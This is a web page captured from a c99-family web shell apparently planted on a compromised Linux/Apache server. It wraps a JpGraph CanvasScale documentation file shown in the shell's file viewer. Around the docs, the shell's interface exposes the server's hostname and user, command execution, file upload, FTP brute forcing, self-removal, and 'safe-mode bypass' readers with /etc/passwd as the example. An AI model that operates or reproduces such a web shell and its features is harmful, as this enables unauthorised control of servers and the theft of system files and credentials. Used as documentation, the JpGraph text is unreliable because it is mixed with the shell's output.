!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/docs/ref/   drwxr-xr-x
Free 52.33 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CanvasScale.html (10.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

CLASS CanvasScale
(Defined in: jpgraph_canvtools.php : 25)
 CanvasScale 
 CanvasScale() 
 Set() 
 Translate() 
 TranslateX() 
 TranslateY() 
 

Class usage and Overview
This class defines a scale which is meant to be used with canvas graphs to make it possibles to pecify a more convinient scale compared to absoilute pixels coordinates.
This will also let you scale the canvas without any coordinate changes.

 


Class Methods

 

 

Define a scale for canvas graphs

ArgumentDefaultDescription
&$graph  Canvas graph
$xmin 0 Min X-value for scale
$xmax 10 Max X-value for scale
$ymin 0 Min Y-value for scale
$ymax 10 Max Y-value for scale

Description
Define a scale for canvas graphs. Note the scale values is optionally in this call. The may be later set witha call to the Set() method. 
 
See also
CanvasScale::Set

 

 

Specify scale to use

ArgumentDefaultDescription
$xmin 0 Min X value
$xmax 10 Max X-value
$ymin 0 Min Y-value
$ymax 10 Max Y-value

Description
SPecify min/max values for scale. 

Example

// Setup a basic canvas we can work
$g = new CanvasGraph(400,200,'auto');
$g->SetMargin(5,11,6,11);
$g->SetShadow();
$g->SetMarginColor("teal");

// We need to stroke the plotarea and margin before we add the
// text since we otherwise would overwrite the text.
$g->InitFrame();

// Create a new scale
$scale = new CanvasScale($g);
$scale->Set(0,$xmax,0,$ymax);

 

 

Translate a point to absolute screen coordinates

ArgumentDefaultDescription
$x  X-value
$y  Y-value

Description
Translate a point to absolute screen coordinates 
 
See also
CanvasScale::TranslateX and CanvasScale::TranslateY

Example

list($xt,$yt) = $scale->Translate($x,$y);
$graph->img->Point($xt,$yt);

 

 

Translate X-coordinate

ArgumentDefaultDescription
$x  X-value

Description
Translate X-value into absolute screen coordinates 
 
See also
CanvasScale::Translate

 

 

Translate Y-value to absolute screen coordinates

ArgumentDefaultDescription
$y  Y-value

Description
Translate Y-value to absolute screen coordinates 
 
See also
CanvasScale::Translate



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--